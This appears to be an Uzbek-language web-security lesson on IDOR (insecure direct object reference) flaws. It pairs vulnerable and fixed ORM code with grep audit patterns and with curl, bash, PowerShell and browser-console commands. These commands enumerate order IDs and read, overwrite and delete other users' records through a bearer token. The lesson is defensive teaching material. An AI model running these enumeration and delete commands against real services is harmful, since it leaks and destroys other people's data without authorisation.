IDOR — begona ma'lumot

≡ Barcha darslar
Tezkor 🔎 Indeks
🔗

IDOR — begona ma'lumot

ID o'zgartirib boshqa hisob
Dars 09 Yuqori o'z saytingizda
1

Maqsad

boshqa foydalanuvchining ma'lumotini olish

Server so'rovdagi ID ga ishonib, egarasini tekshirmasa — hujumchi URL'ni o'zgartirib boshqa qoldiqni o'qiydi.

NishonOqibat
/api/orders/1042 → 1043Boshqa odamning buyurtmasi
/invoice?id=89Boshqa kompaniyaning hisobi
/api/users/5Foydalanuvchi ma'lumotlari
2

Tushuntirish

// XAVFLI — ID bo'yicha oladi, egasini tekshirmaydi
const order = await db.order.findUnique({ where: { id: 1042 } });
res.json(order);

// TO'G'RI — egasini shart qilib qo'shamiz
const order = await db.order.findUnique({
  where: { id: 1042, userId: req.user.id }   // ← kalit
});
if (!order) return res.status(404).json({ success:false });

// ID random bo'lsa ham — bu shart SHART
// (boshlanish niyati bo'lsa ham, IDOR testlanadi)
IDOR ning yashirin qismi

Ba'zan ID o'zgartirish ishlamaydi, lekin boshqa yo'l bor: GET /api/orders/1042 o'rniga POST /api/orders/export {"ids":[1042,1043]} — bir so'rovda ko'plab yozish, va egasi tekshirilmaydi.

3

Qanday aniqlanadi

# 1) o'zgartiriladigan ID parametrlarini topish
grep -rnE "req\.(params|query|body)\.(id|userId|orderId|fileId|invoiceId|uuid)" src/

# 2) egasini tekshirish BORMI?
grep -rnE "findUnique|findById|findOne" src/controllers/ | head -20
// keyin har biriga: userId / ownerId sharti bormi?

# 3) "meniki" filtrlari
grep -rnE "where.*userId|where.*owner|AND user" src/ | head
4

Buyruqlar

avtomatik mass-test
# 1) qo'lda — bitta qoldirib, ID ni o'zgartiramiz
curl -s "https://site.uz/api/orders/1042" -H "Authorization: Bearer $TOKEN" | jq '.userId, .total'
curl -s "https://site.uz/api/orders/1043" -H "Authorization: Bearer $TOKEN" | jq '.userId, .total'
# userId 100 ga o'zgargan bo'lsa — IDOR bor

# 2) ketma-ket sinash (1000 ta ID)
TOKEN="jildingizdagi_oddiy_hujumchi_tokeni"
for ID in $(seq 1000 2000); do
  R=$(curl -s -m 3 "https://site.uz/api/orders/$ID" -H "Authorization: Bearer $TOKEN")
  U=$(echo "$R" | jq -r '.userId // empty' 2>/dev/null)
  [ -n "$U" ] && [ "$U" != "77" ] && echo "  ⚠ orders/$ID → userId=$U (sizniki emas!)"
done
# 3) PUT / PATCH bilan yozish
curl -s -X PUT "https://site.uz/api/profile/1043" \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"hujumchi"}' | jq .

# 4) DELETE — egasini tekshiruvi
curl -s -X DELETE "https://site.uz/api/orders/1043" \
  -H "Authorization: Bearer $TOKEN" -w "\nHTTP: %{http_code}\n"
# 204/200 → boshqa odamning ma'lumoti o'chirildi = jiddiy IDOR

# 5) UUID variantlari (boshqa formatdagi ID)
grep -oE "[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}" \
  /var/www/usr_w8ujaj/data/www/xs313.xuss.us/ximoyalar.html | head -3

# 6) yuklama fayllari (fileId)
for ID in 1 2 3 4 5; do
  echo "file/$ID: $(curl -s -o /dev/null -w '%{http_code}' https://site.uz/api/file/$ID)"
done
# PowerShell — mass sinash
$h = @{ Authorization = "Bearer $token" }
1..500 | ForEach-Object {{
  try {{
    $r = Invoke-RestMethod "https://site.uz/api/orders/$_" -Headers $h
    if ($r.userId -ne 77) {{ "  orders/$_ -> userId=$($r.userId)" }}
  }} catch {{ }}
}} | Select-Object -First 20

# o'zgartirish
Invoke-RestMethod "https://site.uz/api/profile/1043" -Method Put \
  -Headers $h -ContentType 'application/json' -Body '{{"name":"hujumchi"}}'

# o'chirish (ehtiyot bo'ling)
try {{
  Invoke-RestMethod "https://site.uz/api/orders/1043" -Method Delete -Headers $h
  "  ^ o'chirildi = IDOR tasdiqlandi"
}} catch {{ "  HTTP $($_.Exception.Response.StatusCode.value__)" }}
# brauzer konsolida
const t = localStorage.getItem('token');
const r = await fetch('/api/orders/1043', { headers: { Authorization: 'Bearer ' + t }});
console.log(r.status, (await r.json()).userId);

# JSON API da mass o'qish (ko'p ID bir so'rovda)
await fetch('/api/orders/export', {{ method:'POST',
  headers: {{ 'Content-Type':'application/json', Authorization:'Bearer '+t }},
  body: JSON.stringify({{ ids: [1042,1043,1044,1045] }})
}}).then(r => r.json()).then(console.log);
5

Natija

✓ MUvaffaqiyat — hujum ISHLADI
Server javobiNima degani
`userId` boshqa shovqinlikka o'zgardi**IDOR — o'qish**
Boshqa foydalanuvchining ismi/emaili keldi**Ma'lumot sizib chiqdi**
`200 OK` (ma'lumotni o'zgartirdik)**IDOR — yozish**
`204 No Content` (o'chirdik)**IDOR — o'chirish, jiddiy**
Invoices/fayllar boshqalarniki bo'lib chiqdi**IDOR + fayl oshkor qilish**
✗ Rad etish — hujum ISHLAMADI
Server javobiNima degani
`403 Forbidden`**To'g'ri** — egasini tekshiradi
`404 Not Found`**To'g'ri** — mavjud emas deb yashiradi
`401 Unauthorized`Token talab qiladi — login qiling
Hamma javob `403`Egaslik nazorati ishlayapti
6

Zararni yopish

1. Egaslik shartini yozish (har bir so'rovda)

// Prisma
const order = await prisma.order.findFirst({
  where: { id: req.params.id, userId: req.user.id }
});
if (!order) return res.status(404).json({ success: false });

// TypeORM
const order = await repo.findOne({{ where: {{ id, userId: req.user.id }} }});

// MongoDB
const order = await Order.findOne({{ _id: id, userId: req.user.id }});

2. Avtorizatsiya qatlami (markazlash)

const can = {
  read:   (o, u) => o.userId === u.id || u.role === 'admin',
  update: (o, u) => o.userId === u.id,
  delete: (o, u) => o.userId === u.id && u.role !== 'user'
};
if (!can[action](obj, req.user)) return fail();   // markazda

3. Mass o'qishda ham

const rows = await prisma.order.findMany({
  where: { userId: req.user.id, id: {{ in: ids }} }   // har doim userId
});

4. ID ni oskor qilmaslik

// UUID / cuuid — lekin bu YAG'ONA himoya emas, qo'shimcha
id: String(crypto.randomUUID())

// 404 ishlatish (403 emas) — mavjudlikni oshkor qilmaslik
if (!order) return res.status(404).end();
7

Tekshirish ro'yxati

  • Har bir `findUnique`/`findById` da `userId` sharti bor
  • Avtorizatsiya markazlashgan middleware'da
  • Mass o'qish (`ids: []`) ham filtrlangan
  • Mavjud emas deb `404` qaytariladi (403 emas)
  • Fayl yuklash/yuklab olishda ham egaslik tekshiriladi
  • `+1` qilib ID o'zgartirib test qilindi